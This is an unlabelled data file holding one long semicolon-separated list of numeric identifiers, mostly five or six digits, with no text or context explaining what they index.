8;77050;29698;22314;15417;11563;55805;31796;62692;10123;10551;52670;11256;93049;16328;96388;39350;90307;48994;104660;14810;52003;92430;88955;16171;63521;52589;59910;70658;25737;65613;18560;62186;29748;11345;99727;70147;10970;70352;36103;73862;10886;40447;73943;35309;60095;49043;99362;11310;15857;86002;92606;93028;82534;74155;23802;72429;66932;15425;10895;55570;103751;48977;65616;94356;95437;39591;97754;70316;72937;72693;19592;78478;72727;62694;15477;57284;93515;58644;69984;24685;102710;86314;15929;59447;92025;15706;12215;11684;100192;19948;14804;46706;57917;11338;100181;47697;20845;29216;12088;57589;22133;83956;11834;52994;76946;66179;10106;24911;22370;70177;11057;59374;22416;10142;103679;97734;99306;87777;86302;66272;35258;39479;72483;11097;70921;15936;64583;81513;43864;18558;49706;53208;64587;31791;62926;73993;17729;25971;87241;104556;78034;62224;34350;49054;85739;51125;11339;18617;18257;101955;72645;54999;70717;10486;59858;82703;73481;10072;73205;50324;46786;59192;104552;33819;10840;86949;70069;42880;22095;35708;56320;72396;12230;32481;76939;31851;81549;10975;18480;71525;54942;10714;51439;104718;11770;10989;72757;16468;24268;10814;22415;62284;12045;89786;80553;62562;58795;73519;14257;62118;10752;69475;91783;69331;31422;91442;63347;33928;50049;11480;11919;94109;31350;14246;10569;14287;18393;32394;18433;93112;40352;94394;47862;104655;73149;71887;18361;15970;21311;86658;76971;23633;43175;93740;99361;30106;77970;105024;35068;65811;42044;48246;73210;11412;86473;11003;99706;59114;18424;64710;70762;96145;10286;25684;81083;86318;101084;21040;41945;31798;69513;70740;90311;45541;14633;15901;11716;89039;21306;11840;66943;18190;71463;88043;57034;91006;18085;22526;74224;11048;64916;81185;27591;50511;44659;11548;89692;66173;25287;40983;73474;40852;101821;20007;94961;92022;91310;11513;11136;100421;52703;65029;73921;73404;47038;38153;92321;73634;78554;55994;70741;62414;63136;89661;21589;62907;81046;84811;23965;26923;59732;93739;18083;65056;66416;88020;51119;38762;35689;20174;80920;69281;62389;52503;12262;21329;83303;58412;49219;54630;64438;20930;73207;39465;11309;21677;17635;73764;83279;90941;63623;88881;25954;49284;82570;81180;12054;25461;10024;74442;32323;76535;42085;40331;24019;10404;72151;83873;85160;31640;10034;10499;51096;18507;77498;71156;47766;38699;23799;66908;57771;73103;77858;100296;48364;21748;19506;11792;77480;22494;11333;42119;80859;91612;11736;80966;80460;19396;20727;72983;59715;39345;33948;59411;93720;25494;66203;18266;97210;15711;11856;24233;17652;57578;102266;56631;74364;85381;69874;81207;100841;83730;39807;80885;69478;33279;84239;10185;96768;18033;70211;10451;99400;19394;44624;73339;57635;23937;10820;11632;11129;57039;94138;50599;62685;65734;10518;10893;51192;94384;16463;56920;50541;59969;78543;73645;59039;11794;10251;70918;15460;64506;99632;62467;22228;42352;11466;21244;27584;59175;34082;23736;10411;10794;20395;89875;77301;97226;72387;81105;14368;22090;83359;51167;72513;10005;94389;91194;94055;84193;14318;100791;85541;85351;20754;65739;51188;48297;10352;77055;21218;11774;10519;92421;51059;72706;77857;73836;14313;44094;73596;103195;57041;47718;62969;46328;91715;87416;88650;58482;78767;33859;21220;51814;10929;65674;84195;72605;73275;44587;50845;88956;76348;80998;56735;33761;95923;36147;58581;58232;66693;77830;78509;62625;62975;103819;21099;17691;21728;100845;91260;93381;59048;91601;100765;78547;46311;20182;56065;66964;11206;17707;32081;21305;10070;20000;19504;78233;51122;70591;35765;99480;73370;21630;86543;95658;55143;64714;44660;100998;94047;79360;70125;62075;81733;56171;20346;11039;93344;77403;57318;80036;10567;96928;55118;21217;58483;94511;49002;89029;17698;43352;13852;73160;55631;79139;17699;10935;91964;31731;19391;53812;73102;96728;74089;100764;91597;14370;91915;12279;20812;95541;59793;11630;52715;35953;69915;21143;10978;84344;99522;103932;58768;17651;72934;84163;49707;10578;87219;93231;103188;100194;103968;25898;97436;77200;103219;87259;55132;11100;18296;34433;23828;16209;77150;45045;76358;26010;71215;43636;65256;20318;10566;27055;80080;25688;87594;76119;43402;64453;12272;58186;12100;66554;87890;81487;96775;100189;20297;99246;20936;73530;104478;70331;73272;22299;48970;83471;11678;57942;81972;44420;65883;18432;78110;86152;62988;69045;100204;55931;10912;85514;17807;70315;93409;51459;46842;66543;55794;27597;76794;90318;102733;11820;65891;86248;29703;77087;78475;70397;10561;22270;44318;10922;97524;69426;77607;73895;89112;74363;45417;21740;11795;33944;34372;69442;17630;90710;99125;11166;15639;103816;77691;83439;35074;10730;33878;51527;104497;17312;35655;13660;21340;10750;17193;25756;10156;95888;42900;57606;19234;87504;87502;77732;14714;80494;24815;70545;14372;91500;22093;40565;100154;93518;22191;78824;10366;12281;83053;40987;63324;10307;94168;11910;79127;99707;40890;102017;103382;77831;83737;62592;83186;62349;62582;70126;100465;62795;38793;10860;83917;96961;21313;50561;25087;17809;58832;92322;70923;58330;15965;62662;70947;20217;76214;81778;65195;19546;74222;11329;95441;66025;19763;45378;10625;100792;64938;87965;48407;18568;11299;76416;64573;74138;71116;35069;18546;49647;86660;76128;18201;71891;54924;51360;53895;39791;200045;11583;64557;38927;94107;85707;11627;11041;50379;17710;20992;73021;85690;90433;63231;83736;100388;14770;58800;14726;12083;10436;49037;23651;60083;52669;17726;45580;103933;59371;88595;10736;55719;88046;84586;11656;93194;94199;48273;20097;24907;29224;66271;74186;10053;45610;25370;21641;36162;72778;20319;35823;40330;47046;63323;10475;77761;96315;60029;71534;73213;10444;60139;65854;70970;15973;64296;97944;11981;94014;58332;31410;20009;19509;42112;200022;69103;18400;25705;87726;10415;81318;19608;77474;64248;51838;103925;67129;31467;33441;57768;40469;25699;23839;24783;56682;11037;94291;84233;102204;103419;54583;35220;49218;20343;51875;40668;57282;76571;50302;20975;93741;61731;15442;45504;63428;91101;10982;18287;87822;11289;70167;55550;77606;19239;17826;90198;19584;81742;91824;103817;70663;25711;34221;66931;65855;44317;87208;11368;36130;36088;82027;21271;21208;82030;76356;26186;33478;10533;71173;63430;200025;97738;80480;16338;57977;93610;59913;17693;11841;10164;29896;84504;56456;76359;18213;88624;31052;71261;86763;76576;62693;10316;62715;34031;32480;18682;69854;10351;85222;70614;17712;10115;11346;10804;93470;20296;72584;92411;19498;30217;103930;11652;58653;99517;84236;41626;65805;59658;73336;101373;77027;59069;59821;48968;10631;103935;14198;10646;58001;10042;96338;79385;72685;70454;49288;21077;11181;11793;41029;20339;25344;104998;74287;77685;11524;28291;81248;10761;103855;10644;104434;57766;45404;63067;59426;42147;14288;97638;53337;51529;96907;67244;30213;82079;64378;51958;93376;30205;84579;19252;34373;10208;69332;62010;51170;103375;52583;69048;15908;62695;78678;35371;22004;87825;10510;58427;17766;100810;33257;51178;92364;17838;27523;29727;20969;36087;20347;97639;20161;94642;19426;59497;31859;71950;11692;18259;90359;83743;25350;104857;59735;95823;64377;61436;48353;17322;25442;69399;38830;51121;22230;49659;91163;85126;31794;11537;10136;71427;100382;97086;100124;100059;64669;55818;99290;101305;86325;38828;73057;53332;51528;52672;71466;58076;17311;91428;10137;69078;87592;18185;91815;46329;103867;60047;1337011;71347;45553;53334;56738;42150;15480;34992;25169;60138;88021;10833;70369;17733;83363;11143;66426;19428;17241;23924;11880;66413;76771;65742;11305;18417;24322;52044;54644;13641;51510;58953;81785;32375;17973;90001;17720;103668;23964;66497;70198;65887;51975;52716;52993;85380;46198;50987;11402;85407;90600;102920;93718;34237;22365;59040;19766;65767;19784;52768;86067;45399;42799;31993;38850;78555;21081;45379;11240;18156;56378;103970;11575;42443;87218;69987;61528;53896;14805;20109;66407;93866;100756;104573;11654;11997;103647;19692;88418;61463;11258;71050;87762;16199;83518;97577;69803;104358;30149;102273;51462;33140;12002;79859;73340;78086;65791;63266;84878;73022;82820;63523;51095;61462;74223;85267;104104;17303;46197;42818;49016;42960;13655;66326;89725;87476;52974;52502;96046;73690;48944;74510;23973;62358;48374;35273;38761;95768;46844;87680;19194;70768;84237;26196;89108;90603;93122;70070;10954;30108;24871;69871;63349;17220;66698;10550;93787;95876;87538;47749;32504;63353;84363;52535;24333;87949;10097;77304;90432;39328;20015;45360;25552;88052;76496;17364;10807;90796;23787;84804;11021;24709;79247;103964;62819;77477;19599;77529;86577;10783;23969;69099;14847;57877;90316;59376;42801;48317;47897;17805;33577;51906;97144;90249;81260;66374;100617;55608;48244;10200;38988;95391;76284;69283;42149;64243;70661;15614;45084;34218;88488;82567;83470;82780;22899;62033;84727;1337030;17832;20950;39790;29310;91826;43390;91231;20952;25163;71441;100157;11277;11125;68880;103699;73302;97742;84823;73461;62710;82824;66444;53620;87505;25021;91344;69307;82799;50434;68992;14305;73624;18022;103383;19236;70290;17800;18194;101930;11629;14279;56668;72035;44331;15570;10542;64684;73121;11430;80890;102781;10744;103877;35648;22076;11650;11544;100064;10731;25221;11246;81408;76969;53856;66755;55759;56057;24690;19365;20176;45514;103866;81777;20835;62564;65051;10882;78387;69076;72709;70941;10127;78766;96799;25573;12076;62042;63561;60154;40493;93786;67246;64830;31346;19760;17724;59568;93228;50861;97085;51956;57574;42305;104891;19415;87876;76620;48987;11213;46193;59410;104544;77633;86472;59500;71567;10532;15851;78438;42871;74368;10111;93483;11938;92017;18436;65721;103220;26924;60096;77155;55671;22094;11380;85908;86900;82774;64706;11086;12046;17595;42353;88908;57804;55906;29722;200035;12116;95770;58398;19552;72104;16059;73306;49144;24814;11163;11636;66986;32134;76618;81127;82898;104742;62736;57538;12111;78065;23838;49272;19589;64568;79665;72882;14665;1337025;95539;94676;101898;81497;46803;103980;79745;19949;11754;61576;83872;51938;33546;93865;27526;103974;32136;57280;80948;20241;10526;84054;76577;79437;17291;91634;81783;72201;26970;93802;76763;99234;55568;99033;200018;25824;57945;76533;80484;80483;17756;85332;71077;35906;16276;66201;10863;57751;90440;20005;59043;90444;73640;89666;29218;34993;103977;33943;55122;35251;64937;31345;10966;31606;17783;102268;74015;81020;103532;10823;43181;11874;94898;35777;21237;83519;72686;104786;99931;10394;10573;59330;76216;91825;39329;69837;58573;49704;33950;70473;42933;99131;25252;57847;11657;59848;61993;33488;43860;89753;59861;87676;86481;35690;70076;79836;57946;22306;11989;23734;76528;85911;74325;78598;85324;88699;11447;11045;102978;24741;17585;81780;48982;94386;95811;78826;18360;69853;11247;76120;25292;46819;66409;1337018;101814;18429;64835;102199;62927;56066;81579;102783;72175;77117;100462;99281;95438;10226;33108;19217;62984;47700;82040;79834;104350;100174;88717;86576;87257;45065;90680;11608;72601;77376;11535;14249;48275;18220;76594;10719;91759;95026;72338;77176;29307;24747;67227;70856;52769;35322;45577;59275;70588;71265;55669;50575;20843;38199;74108;10345;12258;21555;56485;26926;34219;25823;53381;35717;83771;23834;78596;16260;10149;18490;86912;35070;97552;25933;15542;55930;97496;51359;43111;78699;79129;10558;12270;71519;21757;11065;31659;11298;72668;55535;31737;81384;80282;93109;95479;40406;46843;99521;69476;94914;21230;42831;69077;17812;72714;10176;57576;93657;83952;40823;17841;73372;66408;200041;31705;10671;53569;77120;18363;70878;87880;10905;88416;24341;72434;69428;73459;10368;57473;62117;90023;92844;14325;73896;40620;47779;46865;82296;11698;71176;99730;77170;17227;28373;19776;10378;10796;18431;93939;15588;99516;71882;49015;49775;83416;53331;74428;17780;11140;54954;42191;39794;63300;73298;62941;19594;84156;56564;71807;77369;24710;60043;66849;19765;28377;15703;17605;55131;78623;35710;11174;77408;71886;59453;44119;38977;83782;18100;85883;51909;14184;100060;45390;55886;66807;86328;67005;11763;85743;46740;59904;45477;104353;43351;70662;86372;87011;24683;65929;33867;72171;55288;77709;11872;50971;90266;76056;12232;96830;57876;89834;29999;91603;58449;90194;31135;86402;80831;10014;76127;59311;15408;22926;20345;84809;10350;31462;64707;71154;85745;15788;51972;97385;49173;55574;81744;14826;10907;59798;70123;73376;72345;61575;18570;14715;83876;62460;70330;63354;77829;62743;11725;34402;46241;62479;77910;14317;61577;104460;54843;17777;104663;39007;10574;72831;22466;10648;96532;74125;11638;12037;10055;77636;76786;57765;69239;69481;91125;57558;35556;24261;35454;86548;11178;55800;56872;30131;84742;14822;58793;77182;94582;19299;32398;96392;56449;16261;60120;16154;11359;42304;62045;17755;78030;51873;84060;62183;15463;78032;1337231;17202;29897;72770;61659;10662;52977;10391;99248;40801;24873;25570;65986;19303;30200;89867;77279;44117;85806;38978;65909;73161;31646;88050;94381;55572;73124;18672;88022;85886;94048;38849;66762;50695;66844;10172;44873;60044;97942;35630;77116;101167;76572;65692;77246;101049;53513;18250;65580;46194;93716;15773;70493;19750;11023;10493;85242;25548;96957;66763;102682;34348;25082;45512;64724;65873;22031;64814;83366;11005;58751;11782;11157;42057;62938;51166;58538;10563;10474;21142;62821;18526;69037;71538;70176;72963;15940;72724;70022;22271;11241;24739;86886;83468;84216;23777;81269;51511;200033;48953;33169;104549;52767;69802;35473;14786;65219;72710;67216;67143;10323;90193;24698;61996;12124;100634;71145;10859;19943;60111;11947;17774;10771;25159;11032;51957;12641;72339;57708;50694;29852;72779;57573;10490;70101;11676;73093;79580;49004;24905;79835;77760;11570;11868;35090;101813;70099;100028;29743;77983;92429;38207;73948;69923;25710;43400;26068;26065;87849;90508;104813;100103;73835;11969;67175;100123;88988;19377;73805;14178;94330;14188;59091;91458;97141;39314;11457;69788;43862;94200;44392;94673;17763;65902;39343;70926;59505;10520;48340;52456;10163;94405;91349;56450;76369;66843;71440;94638;15583;48274;11272;78742;70140;46753;11127;10717;53842;10921;86849;23837;33103;200016;22316;70411;47860;93191;15719;85599;102858;15464;11238;20171;15543;104574;11734;59172;11747;55884;76968;69328;11690;10488;77969;23652;10855;76867;62043;84150;48974;51675;103979;20837;58185;26002;81577;71966;17661;96628;77988;11504;79743;16058;66294;20867;90251;11824;88931;31681;34693;38152;97387;23809;83295;65127;44046;91346;20092;92034;63146;70854;87211;46202;31793;57287;55819;10766;103926;53576;33482;11249;83054;19997;92516;45439;34729;10095;11483;62991;25201;21146;22022;63686;44337;34169;17773;104411;11397;22413;11096;50431;10801;18224;51425;45625;104626;51352;91814;79420;91045;78749;96533;48216;65687;95879;24278;76258;11532;49710;19522;24748;104640;24282;77161;73224;10166;36149;62205;47709;70851;11113;12071;35786;200013;21325;63326;86575;81438;18207;99477;21144;92012;83765;13639;44330;49776;21582;58000;10784;66517;72862;10610;73567;65218;20179;82663;35071;45048;105005;15963;56042;65930;51139;48963;96624;11154;12234;48967;15712;95721;101087;103054;77968;45508;20924;69952;49147;10380;93227;11052;14631;58988;52016;34110;10505;14707;48989;66233;69541;103421;57033;73970;18134;34364;11304;33394;63689;64263;74323;66909;34819;66424;82504;62964;48980;50322;44342;104553;57414;11837;91097;18479;73946;70317;70351;14292;81669;85692;11047;10452;92424;31421;70731;60082;100809;17828;33947;70314;82529;93108;11806;70743;100163;11273;33880;16180;34994;42892;92359;91784;27620;11296;77963;77537;62462;22902;17142;10951;17987;14180;93776;49960;45005;49702;62799;45592;17797;104044;52533;80330;15531;63683;69515;55134;96960;59907;20863;11572;14806;104656;90793;12269;10485;71968;19605;63476;11400;99930;15951;91426;20178;96832;24232;69056;49024;70415;11361;49005;56121;103966;81439;11512;67176;70979;73526;30054;38734;76765;29313;19500;20344;103127;74252;94054;101816;82825;11056;90922;66672;60116;33563;50304;76579;19556;12207;57793;42822;18567;20252;18370;40824;100159;12102;78597;15554;42369;92376;21771;103936;71773;69494;18364;72985;46856;10198;90684;100806;69914;56195;24284;64473;30185;77276;10537;66238;103193;103134;59056;90894;102778;23927;21041;56980;23639;18175;94164;11746;73824;93960;70124;65052;55048;10130;49956;59089;67126;99906;47830;76361;57289;31786;33927;42442;22072;40799;11955;35706;26193;56124;83034;99595;86124;46693;100763;55798;11924;46732;64704;11160;44319;100180;91716;72433;103529;40664;66700;73771;47696;94632;26928;90859;72211;77535;96874;101521;80357;38794;11261;87678;101369;92558;89030;13648;11171;15704;11467;10188;51366;92438;101166;73432;72105;77986;18670;11423;97140;86324;88982;16326;94366;64819;86480;63333;91856;10682;85217;18477;11280;59716;64935;42411;44872;63620;100719;94400;34490;58335;43064;10196;84667;85536;104628;11470;15643;105044;88562;26062;31653;35288;86821;14193;56164;50686;99172;10472;84232;48245;103511;200024;20728;62373;62758;73413;84877;101527;89038;15858;11367;17750;95922;85661;53532;10653;19775;81205;73473;81263;34123;10943;10945;59180;76253;17819;73597;92420;66519;73832;71144;66842;79802;62416;21662;11980;48986;79719;16265;63687;59794;81511;45432;24011;83741;46675;53409;10605;71970;22496;52610;102780;39538;49110;65720;94250;10093;63150;50343;86710;11038;25369;95824;19376;61574;57571;86995;83474;51894;73479;64818;87600;17631;87679;55628;17221;32032;97992;100166;11444;56040;26917;15720;15625;67173;33256;21082;52530;22511;97417;104351;12288;95813;51895;90787;21336;84731;58320;10967;69102;23929;26015;11371;63149;10647;21337;95826;84801;60086;89678;104391;16139;64584;64878;49031;11533;33874;96045;100995;56998;24264;40333;90924;11252;69479;87882;10227;22477;91013;11999;40663;79828;10810;52653;81651;46221;64847;72102;11996;103702;33484;54604;73331;49709;10169;52992;11893;59527;78441;13840;200006;56873;71432;76531;10126;87244;80863;23819;93000;104894;77556;55702;10949;69401;10036;21739;14732;73945;56454;72672;56058;69916;93475;48979;25798;73500;49695;21745;10754;99235;44344;10125;48203;42290;73079;17584;11104;42118;77750;25202;40557;21692;10096;42982;74265;40448;11662;82901;25546;59329;18049;94050;29926;62701;10190;64712;18368;70729;31853;66394;17770;21764;17817;72835;19940;101159;102425;82712;70977;23800;11225;99312;70334;34399;93816;86065;65768;94469;17289;65885;15398;90599;27854;85411;103747;31130;24742;84734;97947;11758;21189;23840;87657;92822;86422;11373;81973;69040;72982;34448;90445;53490;70719;70078;25117;12057;55128;10683;82502;66699;32195;100381;27521;25993;30105;22921;39348;10491;78603;68904;50002;10767;95390;12063;64620;94393;96769;23624;66293;40354;35554;89031;45022;69919;42437;80962;11549;10146;11653;57472;66237;49648;83813;59108;58905;21558;17610;74188;20908;12245;55790;81003;64991;93661;60099;16193;69828;99247;36163;10159;83875;93662;72283;10830;88651;17341;33483;17586;46867;78508;34420;21187;29995;12033;11321;15478;34245;11465;33946;18636;23821;71322;10016;87599;11640;104812;49148;18291;96877;40862;87896;81210;72860;81814;59912;38914;66423;49996;95927;92947;103783;11386;11437;38664;70784;69042;48264;45515;81786;15939;63099;81596;69304;30020;56453;31041;27525;56996;10552;11262;94401;49712;21164;56385;69921;69554;59820;102992;12118;25568;66216;20747;70963;43615;14787;100257;51773;11740;40827;10018;89028;93193;62291;73823;70532;57959;18208;27586;21607;44074;20995;51851;83521;79271;49049;85629;49674;63468;10831;91946;85628;24283;70565;70853;72703;16226;69514;55623;100058;73617;24016;100767;18027;12285;59660;11974;83768;79724;77704;64577;80476;87323;64833;57275;33168;86885;10003;60140;10797;10596;101267;73754;97388;23645;73828;90797;102132;101110;10270;57712;71533;97225;33445;42106;93245;76406;101063;21566;22077;62391;49006;29346;73967;69334;15789;10141;64686;56242;83812;70339;89058;12119;103132;92000;101027;20987;80886;61719;66327;72705;56681;61396;20755;14359;100842;76346;22481;42117;87989;90706;35634;19525;70858;51812;83766;97227;62901;17837;28185;29697;69845;74327;81817;99374;78625;58649;80491;11237;31789;56211;83347;12049;71840;15820;69852;10325;45061;84808;70141;14585;56333;100782;1337024;66328;69261;57035;10592;72215;84821;97575;14294;20255;81981;77684;57396;17301;94900;59245;76073;26017;84241;16044;17224;20094;76710;79128;18218;21772;70857;42329;11285;18114;11438;14379;65704;73742;23731;70773;71246;69301;25897;57794;48990;69370;38649;70025;66373;25444;64572;84806;77115;33125;104410;21083;65703;64459;31038;62044;11145;36019;22534;43404;96725;10067;76131;67018;18293;56316;99907;17240;66945;31043;81380;26063;66878;69421;72981;64486;38648;58656;58727;81600;73865;11915;19554;56045;104572;92464;81818;38926;76463;72485;104670;55444;11642;81047;62026;71864;94963;11807;25219;42425;18689;86698;38791;11871;43875;92458;35704;31626;87944;20221;56175;84215;96723;86573;22180;10514;100159;11167;84570;21312;33945;69425;20248;11393;17715;24244;20168;42823;33925;24672;15782;64094;49174;104385;72646;18585;64725;48293;1337017;77163;50612;51891;11002;76114;25758;72038;25682;19254;57363;19309;90791;30152;22371;31790;29219;69079;23775;83524;81701;76881;1337008;78628;96875;11110;11233;20748;51890;63148;10568;64569;46337;79833;34394;59458;76390;38735;90119;18416;45021;65789;63205;70589;58433;11620;61716;31649;100184;70217;87926;20091;25950;49711;63268;81647;94641;62353;95662;60117;73403;67200;45436;83116;59555;18118;16455;57848;14286;79742;79359;40556;94962;55542;10103;71845;101839;69517;101050;92412;19501;60109;92024;200023;39795;24679;11215;76202;14269;57602;14841;100323;10652;18203;76972;10504;61562;34401;73966;99264;64532;20068;18540;51913;48908;63156;65210;102094;20927;90539;105025;70560;101529;14586;11935;11948;92462;31117;76460;100838;72428;85329;58290;21018;64633;82704;62312;64816;35403;66636;59037;34694;42479;83357;59247;84581;10852;35610;71324;16140;70562;23934;85802;35620;39446;85182;80522;101523;51645;76874;52586;101232;95878;57620;16138;74431;74362;10273;51341;73386;10603;63157;51974;77114;11229;72780;88414;22411;66023;29830;27527;64836;81580;16330;21629;12125;62638;47761;90428;70216;100103;101900;97893;59210;48997;79800;77864;43159;10074;102960;78480;55472;103745;78445;100721;81423;10007;86018;26965;10620;87656;16478;49039;84587;14186;81107;39590;11984;54627;49070;72726;58293;17781;86059;55796;78028;79140;56690;87410;101205;94378;1337230;70682;28331;19233;55734;80102;100101;56877;70319;12052;48981;11890;91827;10506;92219;84572;62892;35450;95921;39536;62464;69129;20184;10667;48276;92816;58008;21562;24345;66805;101161;48966;91126;64631;91002;59239;23650;66872;104042;38832;101160;14316;50677;49690;65097;25820;62902;91623;71430;18268;17239;10154;29345;94382;81145;48993;77113;73572;42368;53572;103669;17163;33486;99983;18523;66421;14636;11775;72608;19588;31348;25488;81781;69178;60022;97735;70976;48435;102731;23842;62777;49951;17593;90201;100356;34242;17342;51461;33900;53209;66350;11633;22465;94371;94392;21610;99280;55046;59454;33273;10449;23998;80358;100179;71884;11295;65942;96726;18618;70920;52052;83729;84058;15829;47804;42350;91343;100200;62560;91731;11194;10534;81788;53288;51859;22875;46848;70092;57459;78626;41958;100804;53473;11355;91123;51343;11714;93378;90435;39471;94364;65884;25352;16093;48761;69015;83818;63074;93469;91963;10479;22922;11689;48947;25421;20880;26019;89874;11983;66481;10396;18613;59191;10145;44942;19783;38653;68905;104275;99027;57484;26024;22540;12200;31730;62463;79233;103252;62027;63065;76115;25215;87736;93076;72588;62903;71924;15983;17760;47128;10349;33227;72741;83263;34393;73770;11364;18621;53491;73482;24913;27041;17728;11651;69557;91996;34161;10523;92554;1337010;91455;97661;104550;80889;71262;27507;104389;74286;48960;63000;15626;57607;47045;86369;72508;93402;42931;17302;87210;58990;60018;97732;77473;71883;20111;17731;30021;19512;71977;70895;73669;35807;33479;45433;20130;83767;80864;11621;66717;93380;35700;49017;25760;40421;90002;11222;25994;10777;87012;100571;101838;21243;93233;65723;21644;33446;85626;20093;45138;73517;22017;17597;28293;25694;15439;50525;99512;48263;70629;73834;44914;61535;105045;99266;31407;80997;19719;15465;64670;50846;10836;50495;10094;67021;104559;87817;33276;99104;87209;59409;11291;62356;24669;32396;64877;50544;93738;55787;44077;77690;55124;36141;55385;18265;63224;67142;70472;41607;21573;10891;35629;102363;36150;43029;39448;50350;32124;77540;18008;49963;19751;102782;24759;14258;66870;40616;26064;71885;68928;72936;53596;91339;88716;101396;17793;50430;76193;11505;31415;68981;76281;21632;83300;88646;11723;11886;55765;55447;65130;70494;69184;90829;17213;84059;50529;69831;11230;59641;103870;59365;48763;42351;10017;59042;92968;99472;52546;56754;10100;72939;90355;78655;12280;73383;59909;11888;60024;69950;11555;76203;61459;76943;77907;72372;57579;18614;92040;11923;59852;20014;13635;73962;14224;84728;12237;86019;35705;11835;15778;48254;10252;93481;103648;82996;24680;14261;17695;74267;82772;10471;11013;89679;47151;87955;79581;44064;58434;47750;57040;66915;14824;73983;66992;50540;62999;93051;11365;79831;57889;39355;53258;82581;95951;104356;72928;25217;77374;12227;90860;23814;19753;25901;103379;99928;94383;57049;84672;17761;27818;10421;34120;15470;101086;104554;22510;21140;56455;19778;70453;36143;34050;66841;54629;55569;11067;93124;12113;20008;17762;34294;90998;86825;84155;10651;19680;51841;57861;49260;77025;90546;91672;64784;65209;92541;94934;36183;14223;40562;97192;24240;23698;83951;45624;79721;10457;40796;76490;25953;72330;17988;73736;87918;10656;102262;100846;47717;12015;101047;58833;11539;24733;76123;51165;101111;102860;61435;70143;11877;56693;10809;20065;62593;25990;59455;21685;62566;64893;52609;77028;19706;13640;76532;99519;20010;82771;11014;11624;61515;10870;55474;35402;92522;66035;96487;71153;55130;62201;80335;53621;17574;69956;51455;84470;10835;52024;69271;79668;83187;73825;64894;20368;10910;48759;58230;79252;35618;14229;36034;57333;23931;16225;102203;70169;101304;60025;83296;71947;30208;47126;19306;60080;65879;15864;39482;11582;78029;15640;93127;97325;57795;86418;45511;10467;71433;11724;103700;18536;20824;103535;72583;55593;45059;18251;52978;31787;99592;70335;42426;73289;18041;96959;80078;46733;11743;66721;91128;24321;71774;21686;11952;56712;95256;12006;95470;57598;12226;72458;49023;56855;103509;95260;11126;11779;10940;86826;34405;22075;77220;17199;81606;81916;66867;62185;11072;10536;52963;101044;56666;39341;82585;90890;71438;10289;10428;11450;22528;49708;88809;10364;11454;25904;23785;81270;14346;58529;94380;50347;43861;73826;104174;58571;78472;20006;88840;86856;84671;20250;88841;86572;29187;103223;47139;17245;68982;94232;39806;85850;33550;66349;23822;79599;11484;48339;70213;46212;41060;10688;94334;77574;46236;11319;87597;61429;99515;72459;11266;93521;25703;86105;15834;50504;42211;34727;34056;76347;51999;51091;30151;85737;32374;60016;45356;97860;77634;25553;32321;10116;59088;56090;39450;87775;69346;88990;58274;10626;58088;78738;25883;87673;29924;17803;88577;103113;69179;87879;39372;80477;48951;11012;80226;104852;90437;58323;95287;57948;36020;58579;21684;84920;21338;70178;10480;55285;62124;94363;61532;11455;30150;11124;71175;63206;11693;66544;82075;81734;70292;92368;70027;86426;81106;94611;71213;52671;12203;19515;104561;94399;66862;11193;54988;72833;43067;34338;23825;60015;65894;46180;56070;48972;64578;81082;92045;53879;99369;83117;84400;24260;17690;17603;100187;59327;38973;91261;59785;20378;10357;69920;86246;40907;91263;73212;87875;94670;79856;40618;43004;93375;34334;69558;94196;73027;65913;62890;87728;35726;85266;11396;55116;12080;14306;24681;34335;60085;11516;28334;72604;10973;69322;72932;11753;90765;10466;22160;85582;82591;17295;52547;84287;76776;92723;20745;91598;104384;69801;11053;26920;74470;11389;10608;15771;76455;17200;39492;78388;84490;25171;85880;91713;100258;10075;21224;62992;29894;57947;22529;50386;82589;47140;14793;18188;51872;31650;17155;83489;78739;90006;11797;40667;83528;82574;49777;10663;82025;17596;64717;57803;66418;22447;94163;15721;50307;78918;24323;10028;29742;62369;65948;21145;49055;97858;87877;14228;78913;92840;69480;11187;52659;94760;90356;56483;49675;76913;86997;40931;63642;69268;20933;17662;70416;11026;63098;72690;102036;58904;18619;89779;33549;56955;82705;16281;32080;62064;66445;35453;101163;11128;59834;39420;45380;70068;20842;100057;56283;87601;56064;51988;103876;11099;102500;50676;78825;94672;76403;26070;31644;69036;93844;69058;31727;103676;14241;90709;51369;11607;104787;84432;71772;10948;81822;70173;35075;10861;80121;34815;58515;72905;57470;57752;50602;34268;93899;44332;56648;84364;59255;90436;33278;10117;50344;94955;18627;36083;87110;21655;82429;69237;80101;10927;81378;15714;18248;21223;47037;10916;104571;20866;84960;46701;53574;48955;40422;55553;10363;92824;66270;19754;22497;34396;91427;10511;99133;16324;89111;10850;73761;57799;11354;17833;45046;32395;12042;104048;11939;11912;72707;69427;93650;89032;23634;97948;65910;100424;84738;78912;11990;93123;89689;69441;64851;66317;100164;72664;12202;21229;35224;94017;40613;11701;103377;82709;104659;76578;100165;11449;42212;100993;57921;10343;64454;21015;14364;38687;10262;81980;48999;92494;34742;70342;15709;63622;69834;59657;94051;14838;15855;99762;25800;73686;100062;11655;58769;18569;57603;62242;78745;77575;104856;57608;20225;85181;66412;96452;33476;31657;93561;72176;66335;72179;99728;88589;55049;78394;73136;14784;35029;15781;84638;64701;76122;73683;11784;16315;24332;21017;56469;32381;58134;52455;73082;72216;10638;42349;17244;23643;10722;11738;21236;24817;66389;58399;99314;20804;39468;69273;76942;59367;66360;20388;10459;94578;39463;68959;40466;40592;76402;73639;24000;14324;33396;104892;101366;89788;46239;73759;96003;38652;57028;12023;10743;63682;90682;56876;16275;25492;17814;51463;78080;11123;73187;56300;85877;49977;18222;48969;12074;102264;11940;50988;25247;38694;16282;80228;21744;101299;21174;25199;85652;101896;65053;36151;63245;20223;80035;51976;104893;59819;84022;69044;50433;62622;62458;11831;97998;10811;59757;79864;29802;22311;81181;69075;10347;45437;25291;29799;82572;73226;96982;36018;53392;25172;100157;72043;16208;11198;63204;58181;61527;55806;1337226;57290;11008;71524;72391;50325;100222;59790;53333;76464;69447;66417;71643;72730;97940;70617;87503;19405;72744;19749;47123;72881;94370;11557;56055;18150;39344;33444;19590;12233;83140;19998;10431;23910;84741;58484;35558;53545;33397;28182;34459;35976;104815;51923;64533;19600;50601;80856;101548;10615;82664;11661;64644;10143;11619;11001;18484;12120;11028;12085;92460;25116;90512;18492;76111;85124;74119;90835;20349;59462;55652;40800;70096;61432;79578;11511;15486;15828;17775;10202;40947;35370;74158;67260;85219;88719;11461;15520;93474;86469;58005;57605;89691;95657;74140;85896;25168;87260;39622;90713;20985;90098;103922;56059;94375;71218;43174;96958;90510;21628;59726;77604;25761;17362;24262;51939;77168;24340;74221;78066;32505;78746;11812;10808;17743;35805;94009;91011;11606;57980;71616;11075;33789;19513;80523;62906;104274;17801;41947;13645;20974;59643;7097